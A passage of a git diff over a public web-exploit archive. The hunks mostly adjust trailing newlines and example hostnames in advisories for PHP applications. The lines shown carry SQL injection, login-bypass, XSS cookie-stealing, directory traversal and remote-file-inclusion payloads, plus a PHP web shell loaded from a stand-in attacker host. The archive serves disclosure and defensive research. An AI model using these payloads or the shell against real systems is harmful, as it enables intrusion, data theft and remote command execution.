FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/refer_friend.php?id=[SQL] \ No newline at end of file +http://www.example.com/refer_friend.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26676.txt b/platforms/php/webapps/26676.txt index c9e0c1ae6..5194eef12 100755 --- a/platforms/php/webapps/26676.txt +++ b/platforms/php/webapps/26676.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/print_article.php?id=[SQL] \ No newline at end of file +http://www.example.com/print_article.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26677.txt b/platforms/php/webapps/26677.txt index a727ba926..4881be415 100755 --- a/platforms/php/webapps/26677.txt +++ b/platforms/php/webapps/26677.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Softbiz FAQ 1.1 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/add_comment.php?id=[SQL] \ No newline at end of file +http://www.example.com/add_comment.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26678.txt b/platforms/php/webapps/26678.txt index 0f321a623..be1bad380 100755 --- a/platforms/php/webapps/26678.txt +++ b/platforms/php/webapps/26678.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 3.0 and prior are reported to be vulnerable; other versions may also be affected. -http://www.example.com/answer.php?id=[SQL] \ No newline at end of file +http://www.example.com/answer.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26681.txt b/platforms/php/webapps/26681.txt index 77f841352..f730a0ec2 100755 --- a/platforms/php/webapps/26681.txt +++ b/platforms/php/webapps/26681.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 1.2.0 and prior are reported to be vulnerable; other versions may also be affected. -http://www.example.com/memberlist.php?action=profile&id=1[SQL] \ No newline at end of file +http://www.example.com/memberlist.php?action=profile&id=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26683.txt b/platforms/php/webapps/26683.txt index 9a0527819..bc1e46f6f 100755 --- a/platforms/php/webapps/26683.txt +++ b/platforms/php/webapps/26683.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 1.3 and prior are reported to be vulnerable; other versions may also be affected. -http:///okiraku.php?lang=&day_id=[SQL] \ No newline at end of file +http:///okiraku.php?lang=&day_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26684.txt b/platforms/php/webapps/26684.txt index 17446ba0b..d22118d09 100755 --- a/platforms/php/webapps/26684.txt +++ b/platforms/php/webapps/26684.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 2.0 and prior are reported to be vulnerable; other versions may also be affected. -http://www.example.com//index.php?d=28&m=[SQL] \ No newline at end of file +http://www.example.com//index.php?d=28&m=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26686.txt b/platforms/php/webapps/26686.txt index e2bd47369..e2d721798 100755 --- a/platforms/php/webapps/26686.txt +++ b/platforms/php/webapps/26686.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions v1 and prior are reported to be vulnerable; other versions may also be affected. -http://www.example.com/content.php?cid=[SQL] \ No newline at end of file +http://www.example.com/content.php?cid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26687.txt b/platforms/php/webapps/26687.txt index ce8e00d2b..bbf6bab51 100755 --- a/platforms/php/webapps/26687.txt +++ b/platforms/php/webapps/26687.txt @@ -10,4 +10,4 @@ Version 1.0.1. is vulnerable; other versions may also be affected. http://www.example.com/webcalendar/activity_log.php?startid=%2527 http://www.example.com/webcalendar/activity_log.php?startid=%27 -http://www.example.com/webcalendar/activity_log.php?startid=' \ No newline at end of file +http://www.example.com/webcalendar/activity_log.php?startid=' \ No newline at end of file diff --git a/platforms/php/webapps/26688.php b/platforms/php/webapps/26688.php index ef4aeeb27..0e4baf14d 100755 --- a/platforms/php/webapps/26688.php +++ b/platforms/php/webapps/26688.php @@ -75,7 +75,7 @@ if (count($argv)!=4){ echo "BLIND SQL INJECTION Lore 1.5.6 By OzX\n"; echo "USO :> php ".$argv[0]." url id -u [Obtener Usuario]\n"; echo "USO :> php ".$argv[0]."p url id -p [Obtener Password]\n"; - echo "Ejemplo :> php ".$argv[0].".php http://www.webserver/article.php?id=009 1 -u \n"; + echo "Ejemplo :> php ".$argv[0].".php http://www.website.com/article.php?id=009 1 -u \n"; }else{ preg_match_all("/(comment\.php\?article_id)/", GET($url), $dat, PREG_SET_ORDER); diff --git a/platforms/php/webapps/26689.txt b/platforms/php/webapps/26689.txt index ecf13cba5..f649ee4b5 100755 --- a/platforms/php/webapps/26689.txt +++ b/platforms/php/webapps/26689.txt @@ -4,4 +4,4 @@ DotClear is prone to an SQL injection vulnerability. This issue is due to a fail Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -dc_xd=siegfried'/**/UNION/**/SELECT user_id,user_pseudo,user_nom,user_email from dc_user into outfile "/var/www/blah"/* \ No newline at end of file +dc_xd=siegfried'/**/UNION/**/SELECT user_id,user_pseudo,user_nom,user_email from dc_user into outfile "/var/www/blah"/* \ No newline at end of file diff --git a/platforms/php/webapps/2669.php b/platforms/php/webapps/2669.php index 72bfa273a..670196ce4 100755 --- a/platforms/php/webapps/2669.php +++ b/platforms/php/webapps/2669.php @@ -58,7 +58,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/26691.txt b/platforms/php/webapps/26691.txt index 9975a0557..b266add21 100755 --- a/platforms/php/webapps/26691.txt +++ b/platforms/php/webapps/26691.txt @@ -6,4 +6,4 @@ A remote attacker may exploit this vulnerability to influence or misrepresent ho WebCalendar 1.0.1 is vulnerable; other versions may also be affected. -http://www.example.com/webcalendar/layers_toggle.php?status=on&ret=[url_redirect_to] \ No newline at end of file +http://www.example.com/webcalendar/layers_toggle.php?status=on&ret=[url_redirect_to] \ No newline at end of file diff --git a/platforms/php/webapps/26692.txt b/platforms/php/webapps/26692.txt index d5ba12f5f..0b0a547c2 100755 --- a/platforms/php/webapps/26692.txt +++ b/platforms/php/webapps/26692.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Versions 6.0 and prior are vulnerable; other versions may also be affected. -http://www.example.com/search/extremesearch.php?search=%3Cscript%3Ealert%28%27r0t+XSS%27%29%3C%2Fscript%3E&lang= \ No newline at end of file +http://www.example.com/search/extremesearch.php?search=%3Cscript%3Ealert%28%27r0t+XSS%27%29%3C%2Fscript%3E&lang= \ No newline at end of file diff --git a/platforms/php/webapps/26693.txt b/platforms/php/webapps/26693.txt index fe05fd9cf..f1d027352 100755 --- a/platforms/php/webapps/26693.txt +++ b/platforms/php/webapps/26693.txt @@ -4,4 +4,4 @@ Trac is prone to an SQL injection vulnerability. This issue is due to a failure Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/trac/query?group=/* \ No newline at end of file +http://www.example.com/trac/query?group=/* \ No newline at end of file diff --git a/platforms/php/webapps/26694.txt b/platforms/php/webapps/26694.txt index 7b2daf5df..46e6f7468 100755 --- a/platforms/php/webapps/26694.txt +++ b/platforms/php/webapps/26694.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br phpMyChat 0.14.5 is vulnerable; other versions may also be affected. -http://www.example.com/phpmychat/chat/config/start_page.css.php?medium=><script>alert(29837274289742472);</script>&FontName=1 \ No newline at end of file +http://www.example.com/phpmychat/chat/config/start_page.css.php?medium=><script>alert(29837274289742472);</script>&FontName=1 \ No newline at end of file diff --git a/platforms/php/webapps/26695.txt b/platforms/php/webapps/26695.txt index a9886ed1d..9560e2db0 100755 --- a/platforms/php/webapps/26695.txt +++ b/platforms/php/webapps/26695.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br phpMyChat 0.14.5 is vulnerable; other versions may also be affected. -http://www.example.com/phpmychat/chat/config/style.css.php?medium=><script>alert(29837274289742472);</script>&FontName=1 \ No newline at end of file +http://www.example.com/phpmychat/chat/config/style.css.php?medium=><script>alert(29837274289742472);</script>&FontName=1 \ No newline at end of file diff --git a/platforms/php/webapps/26696.txt b/platforms/php/webapps/26696.txt index 13cbb4d83..302543162 100755 --- a/platforms/php/webapps/26696.txt +++ b/platforms/php/webapps/26696.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br phpMyChat 0.14.5 is vulnerable; other versions may also be affected. -http://www.example.com/phpmychat/chat/users_popupL.php?From="><script>alert(29837274289742472);</script>>&L=english&LastCheck=1133281246&B=0 \ No newline at end of file +http://www.example.com/phpmychat/chat/users_popupL.php?From="><script>alert(29837274289742472);</script>>&L=english&LastCheck=1133281246&B=0 \ No newline at end of file diff --git a/platforms/php/webapps/26698.txt b/platforms/php/webapps/26698.txt index 02836de69..478449e7c 100755 --- a/platforms/php/webapps/26698.txt +++ b/platforms/php/webapps/26698.txt @@ -4,4 +4,4 @@ NetClassifieds is prone to multiple SQL-injection vulnerabilities because the ap A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/gallery.php?CatID=[SQL] \ No newline at end of file +http://www.example.com/gallery.php?CatID=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26699.txt b/platforms/php/webapps/26699.txt index 941011100..8feb61fc5 100755 --- a/platforms/php/webapps/26699.txt +++ b/platforms/php/webapps/26699.txt @@ -4,4 +4,4 @@ NetClassifieds is prone to multiple SQL-injection vulnerabilities because the ap A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/ViewItem.php?ItemNum=[SQL] \ No newline at end of file +http://www.example.com/ViewItem.php?ItemNum=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/2670.php b/platforms/php/webapps/2670.php index 08d38c74f..de55a8072 100755 --- a/platforms/php/webapps/2670.php +++ b/platforms/php/webapps/2670.php @@ -58,7 +58,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/26706.txt b/platforms/php/webapps/26706.txt index cd0e4afd0..f06dbfc62 100755 --- a/platforms/php/webapps/26706.txt +++ b/platforms/php/webapps/26706.txt @@ -4,4 +4,4 @@ PHP-Fusion is prone to an SQL injection vulnerability. This issue is due to a fa Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/messages.php?folder=inbox&srch_text=a&srch_type=blehblahbleh&sort_type=blahblehblah&srch_submit=Search%20/%20Sort \ No newline at end of file +http://www.example.com/messages.php?folder=inbox&srch_text=a&srch_type=blehblahbleh&sort_type=blahblehblah&srch_submit=Search%20/%20Sort \ No newline at end of file diff --git a/platforms/php/webapps/26707.txt b/platforms/php/webapps/26707.txt index 100373cf5..c9b740cd5 100755 --- a/platforms/php/webapps/26707.txt +++ b/platforms/php/webapps/26707.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos The following example is available: Username : ' or ''=' -Password : ' or ''=' \ No newline at end of file +Password : ' or ''=' \ No newline at end of file diff --git a/platforms/php/webapps/26714.txt b/platforms/php/webapps/26714.txt index 3a76a7979..a38320c61 100755 --- a/platforms/php/webapps/26714.txt +++ b/platforms/php/webapps/26714.txt @@ -4,4 +4,4 @@ phpYellowTM is prone to multiple SQL injection vulnerabilities. These issues are Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/print_me.php?ckey=[SQL] \ No newline at end of file +http://www.example.com/print_me.php?ckey=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26715.txt b/platforms/php/webapps/26715.txt index 29b18f2a8..c7c52e57d 100755 --- a/platforms/php/webapps/26715.txt +++ b/platforms/php/webapps/26715.txt @@ -20,4 +20,4 @@ http://www.example.com/property.php?action=search&city_id=&zip_code= &price=[SQL]&property_type_id=&submit=submit http://www.example.com/property.php?action=search&city_id=[SQL]&zip_code= -&price=&property_type_id=&submit=submit \ No newline at end of file +&price=&property_type_id=&submit=submit \ No newline at end of file diff --git a/platforms/php/webapps/26718.txt b/platforms/php/webapps/26718.txt index 3d9b61b74..eb9ed44a5 100755 --- a/platforms/php/webapps/26718.txt +++ b/platforms/php/webapps/26718.txt @@ -7,4 +7,4 @@ These vulnerabilities could permit remote attackers to pass malicious input to d eCommerce Enterprise Edition 2.1 and prior and eCommerce Home Edition are vulnerable to these issues. http://www.example.com/index.php?action=ViewGroups&grp=[SQL] -http://www.example.com/index.php?action=ViewCategories&cat=[SQL] \ No newline at end of file +http://www.example.com/index.php?action=ViewCategories&cat=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26720.txt b/platforms/php/webapps/26720.txt index 3dedde2eb..2f098410a 100755 --- a/platforms/php/webapps/26720.txt +++ b/platforms/php/webapps/26720.txt @@ -8,4 +8,4 @@ http://www.example.com/ls.php?lang=en&action=list&start=[SQL] http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=&search_type=&infield=&search_order=[SQL] http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=&search_type=[SQL] http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=[SQL] -http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=[SQL] \ No newline at end of file +http://www.example.com/ls.php?lang=en&action=list&start=0&CAT_ID=3&keyword=&search_area=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26722.txt b/platforms/php/webapps/26722.txt index 7d4a75b80..270a52c3b 100755 --- a/platforms/php/webapps/26722.txt +++ b/platforms/php/webapps/26722.txt @@ -5,4 +5,4 @@ Hobosworld HobSR is prone to multiple SQL injection vulnerabilities. These issue Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/view.php?arrange=[SQL] -http://www.example.com/view.php?p=[SQL] \ No newline at end of file +http://www.example.com/view.php?p=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26723.txt b/platforms/php/webapps/26723.txt index 0e9aa5854..ef88fd739 100755 --- a/platforms/php/webapps/26723.txt +++ b/platforms/php/webapps/26723.txt @@ -6,4 +6,4 @@ This issue is due to a failure in the application to properly sanitize user-supp This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. -http://www.example.com/index.php?name=&price_from=&price_to=&city=&state=SC&mls=[SQL]&bathroom=-1&bedrooms=-1&go=search&results=1 \ No newline at end of file +http://www.example.com/index.php?name=&price_from=&price_to=&city=&state=SC&mls=[SQL]&bathroom=-1&bedrooms=-1&go=search&results=1 \ No newline at end of file diff --git a/platforms/php/webapps/26727.txt b/platforms/php/webapps/26727.txt index 83fc2725a..044d7e84b 100755 --- a/platforms/php/webapps/26727.txt +++ b/platforms/php/webapps/26727.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 5 and prior are vulnerable; other versions may also be affected. -http://www.example.com/fq.php?A=ViewFQ&cid=1[SQL] \ No newline at end of file +http://www.example.com/fq.php?A=ViewFQ&cid=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26728.txt b/platforms/php/webapps/26728.txt index cde61597d..bd7b459dc 100755 --- a/platforms/php/webapps/26728.txt +++ b/platforms/php/webapps/26728.txt @@ -4,4 +4,4 @@ Portal Solutions is prone to an SQL injection vulnerability. This issue is due t Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/comentarii.php?idp=[SQL] \ No newline at end of file +http://www.example.com/comentarii.php?idp=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26729.txt b/platforms/php/webapps/26729.txt index 87a27cea8..f06f8ba5d 100755 --- a/platforms/php/webapps/26729.txt +++ b/platforms/php/webapps/26729.txt @@ -4,4 +4,4 @@ Affiliate Manager PRO is prone to an SQL injection vulnerability. These issues a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/functions.php?action=ViewPaymentLog&pid=[SQL] \ No newline at end of file +http://www.example.com/functions.php?action=ViewPaymentLog&pid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26730.txt b/platforms/php/webapps/26730.txt index 9b63e1bfe..38bede68e 100755 --- a/platforms/php/webapps/26730.txt +++ b/platforms/php/webapps/26730.txt @@ -4,4 +4,4 @@ Portal Solutions is prone to a directory traversal vulnerability. This is due to This issue may be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. An attacker can employ directory traversal sequences to disclose arbitrary files. -http://www.example.com/arhiva.php?dir=../ \ No newline at end of file +http://www.example.com/arhiva.php?dir=../ \ No newline at end of file diff --git a/platforms/php/webapps/26732.txt b/platforms/php/webapps/26732.txt index 4a79fa0f6..3f475e6bd 100755 --- a/platforms/php/webapps/26732.txt +++ b/platforms/php/webapps/26732.txt @@ -4,4 +4,4 @@ Trac is prone to an SQL injection vulnerability. This issue is due to a failure Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. -http://www.example.com/trac/search?q=test\' \ No newline at end of file +http://www.example.com/trac/search?q=test\' \ No newline at end of file diff --git a/platforms/php/webapps/2674.php b/platforms/php/webapps/2674.php index 0d36ad2a3..6a2453cbc 100755 --- a/platforms/php/webapps/2674.php +++ b/platforms/php/webapps/2674.php @@ -58,7 +58,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/26748.txt b/platforms/php/webapps/26748.txt index acd53de9b..3dd95b934 100755 --- a/platforms/php/webapps/26748.txt +++ b/platforms/php/webapps/26748.txt @@ -4,4 +4,4 @@ DoceboLMS is prone to a directory traversal vulnerability. This issue is due to An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. -http://www.example.com/addons/fckeditor2rc2/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=../../../../../../../../&CurrentFolder= \ No newline at end of file +http://www.example.com/addons/fckeditor2rc2/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=../../../../../../../../&CurrentFolder= \ No newline at end of file diff --git a/platforms/php/webapps/26750.txt b/platforms/php/webapps/26750.txt index 553468bcf..5006ebcd5 100755 --- a/platforms/php/webapps/26750.txt +++ b/platforms/php/webapps/26750.txt @@ -8,4 +8,4 @@ http://www.example.com/index.php?categoryid=[SQL] http://www.example.com/index.php?entryid=[SQL] http://www.example.com/index.php?month=1&year=[SQL] http://www.example.com/index.php?month=[SQL] -http://www.example.com/index.php?year=2005&month=12&day=[SQL] \ No newline at end of file +http://www.example.com/index.php?year=2005&month=12&day=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26751.txt b/platforms/php/webapps/26751.txt index 492c16dcd..a4c8dc1e9 100755 --- a/platforms/php/webapps/26751.txt +++ b/platforms/php/webapps/26751.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos Versions 1.1 and earlier are vulnerable; other versions may also be affected. http://www.example.com/index.php?page=[SQL] -http://www.example.com/index.php?page=en_Home&car=[SQL] \ No newline at end of file +http://www.example.com/index.php?page=en_Home&car=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26757.txt b/platforms/php/webapps/26757.txt index 4b646e128..8bb950263 100755 --- a/platforms/php/webapps/26757.txt +++ b/platforms/php/webapps/26757.txt @@ -8,4 +8,4 @@ A remote attacker may inject SQL, HTML and script code resulting in theft of coo Version 3 beta 2.8 is vulnerable; other versions may be affected. -http://www.example.com/thwb/misc.php?action=getlastpost&userid='[SQL] \ No newline at end of file +http://www.example.com/thwb/misc.php?action=getlastpost&userid='[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26758.txt b/platforms/php/webapps/26758.txt index 4552aee62..3b7720211 100755 --- a/platforms/php/webapps/26758.txt +++ b/platforms/php/webapps/26758.txt @@ -4,4 +4,4 @@ DRZES HMS is prone to a cross-site scripting vulnerability. This issue is due to An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/customers/login.php?customerEmailAddress=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/customers/login.php?customerEmailAddress=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26770.txt b/platforms/php/webapps/26770.txt index 917cfdd76..7ee9b12ab 100755 --- a/platforms/php/webapps/26770.txt +++ b/platforms/php/webapps/26770.txt @@ -5,4 +5,4 @@ MilliScripts is prone to a cross-site scripting vulnerability. This is due to a An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/red_14/register.php?do=register2&domainname=%22%3E%3Cs -cript%20src=www.example.com/script.js%3E%3C/script%3E&ext=www.example.com \ No newline at end of file +cript%20src=www.example.com/script.js%3E%3C/script%3E&ext=www.example.com \ No newline at end of file diff --git a/platforms/php/webapps/26780.txt b/platforms/php/webapps/26780.txt index cbc7bb2c5..5734debbe 100755 --- a/platforms/php/webapps/26780.txt +++ b/platforms/php/webapps/26780.txt @@ -4,4 +4,4 @@ Scout Portal Toolkit is prone to multiple input-validation vulnerabilities becau A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible. -http://www.example.com/Projects/SPT/demo/SPT--QuickSearch.php?ss=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/Projects/SPT/demo/SPT--QuickSearch.php?ss=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26781.txt b/platforms/php/webapps/26781.txt index 498aa725b..256dbb119 100755 --- a/platforms/php/webapps/26781.txt +++ b/platforms/php/webapps/26781.txt @@ -4,4 +4,4 @@ Scout Portal Toolkit is prone to multiple input-validation vulnerabilities becau A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. Other attacks are also possible. -http://www.example.com/Projects/SPT/demo/SPT--BrowseResources.php?ParentId=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/Projects/SPT/demo/SPT--BrowseResources.php?ParentId=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26782.txt b/platforms/php/webapps/26782.txt index 47593db0b..622e3c126 100755 --- a/platforms/php/webapps/26782.txt +++ b/platforms/php/webapps/26782.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce http://www.example.com/Projects/SPT/demo/SPT--Advanced.php -Input: <script>alert(document.cookie)</script> on all fields.. \ No newline at end of file +Input: <script>alert(document.cookie)</script> on all fields.. \ No newline at end of file diff --git a/platforms/php/webapps/26783.txt b/platforms/php/webapps/26783.txt index b268ff949..86370fdfa 100755 --- a/platforms/php/webapps/26783.txt +++ b/platforms/php/webapps/26783.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce http://www.example.com/Projects/SPT/demo/SPT--UserLogin.php Input username >> ' -Input password >> ' \ No newline at end of file +Input password >> ' \ No newline at end of file diff --git a/platforms/php/webapps/26784.txt b/platforms/php/webapps/26784.txt index 4c1067028..3d8c4e306 100755 --- a/platforms/php/webapps/26784.txt +++ b/platforms/php/webapps/26784.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos The following proof of concept is available: Username : 'or''=' -Password : 'or''=' \ No newline at end of file +Password : 'or''=' \ No newline at end of file diff --git a/platforms/php/webapps/26785.txt b/platforms/php/webapps/26785.txt index 442dcb7de..08d0a01e9 100755 --- a/platforms/php/webapps/26785.txt +++ b/platforms/php/webapps/26785.txt @@ -5,4 +5,4 @@ Arab Portal is prone to multiple SQL injection vulnerabilities. These are due to Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. http://www.example.com/Arab_Portal_v.2.0_beta_2/link.php?action=list&cat_id=5&', -'010','Hacker','0')/* \ No newline at end of file +'010','Hacker','0')/* \ No newline at end of file diff --git a/platforms/php/webapps/26788.txt b/platforms/php/webapps/26788.txt index f7747f7aa..dd8a457ed 100755 --- a/platforms/php/webapps/26788.txt +++ b/platforms/php/webapps/26788.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to include arbitrary remote PHP code and exec Successful exploitation may lead to a compromise of the underlying system; other attacks are also possible. http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../etc/passwd%00 -http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../script.php%00 \ No newline at end of file +http://www.example.com/config.php?_CCFG[_PKG_PATH_DBSE]=../../../../../../../../script.php%00 \ No newline at end of file diff --git a/platforms/php/webapps/26789.txt b/platforms/php/webapps/26789.txt index cb6457bf5..ffe921835 100755 --- a/platforms/php/webapps/26789.txt +++ b/platforms/php/webapps/26789.txt @@ -4,4 +4,4 @@ EncapsGallery is prone to an SQL injection vulnerability. This issue is due to a Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/gallery.php?page=foto&action=show_custom&id=[SQL] \ No newline at end of file +http://www.example.com/gallery.php?page=foto&action=show_custom&id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26790.txt b/platforms/php/webapps/26790.txt index b7cb6c71f..7de2e7a4f 100755 --- a/platforms/php/webapps/26790.txt +++ b/platforms/php/webapps/26790.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce http://www.example.com/comments.php?keyword=&author=&cat=0&since=[SQL] http://www.example.com/comments.php?keyword=&author=&cat=0&since=1&sort_by=[SQL] -http://www.example.com/comments.php?keyword=&author=&cat=0&since=1&sort_by=date&sort_order=descending&items_number=[SQL] \ No newline at end of file +http://www.example.com/comments.php?keyword=&author=&cat=0&since=1&sort_by=date&sort_order=descending&items_number=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26791.txt b/platforms/php/webapps/26791.txt index b2e404af3..2c7ab6779 100755 --- a/platforms/php/webapps/26791.txt +++ b/platforms/php/webapps/26791.txt @@ -4,4 +4,4 @@ PhpWebGallery is prone to multiple SQL-injection vulnerabilities because the app A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/category.php?cat=search&search=[SQL] \ No newline at end of file +http://www.example.com/category.php?cat=search&search=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26792.txt b/platforms/php/webapps/26792.txt index 991ccf2d4..b56256dab 100755 --- a/platforms/php/webapps/26792.txt +++ b/platforms/php/webapps/26792.txt @@ -4,4 +4,4 @@ PhpWebGallery is prone to multiple SQL-injection vulnerabilities because the app A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/picture.php?cat=best_rated&image_id=[SQL] \ No newline at end of file +http://www.example.com/picture.php?cat=best_rated&image_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26794.txt b/platforms/php/webapps/26794.txt index 7d710bdd2..daa515bb0 100755 --- a/platforms/php/webapps/26794.txt +++ b/platforms/php/webapps/26794.txt @@ -6,4 +6,4 @@ Successful exploitation of these vulnerabilities could result in a compromise of http://www.example.com/index.php?level=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E -http://www.example.com/index.php?level=search&searchterms=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?level=search&searchterms=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E \ No newline at end of file diff --git 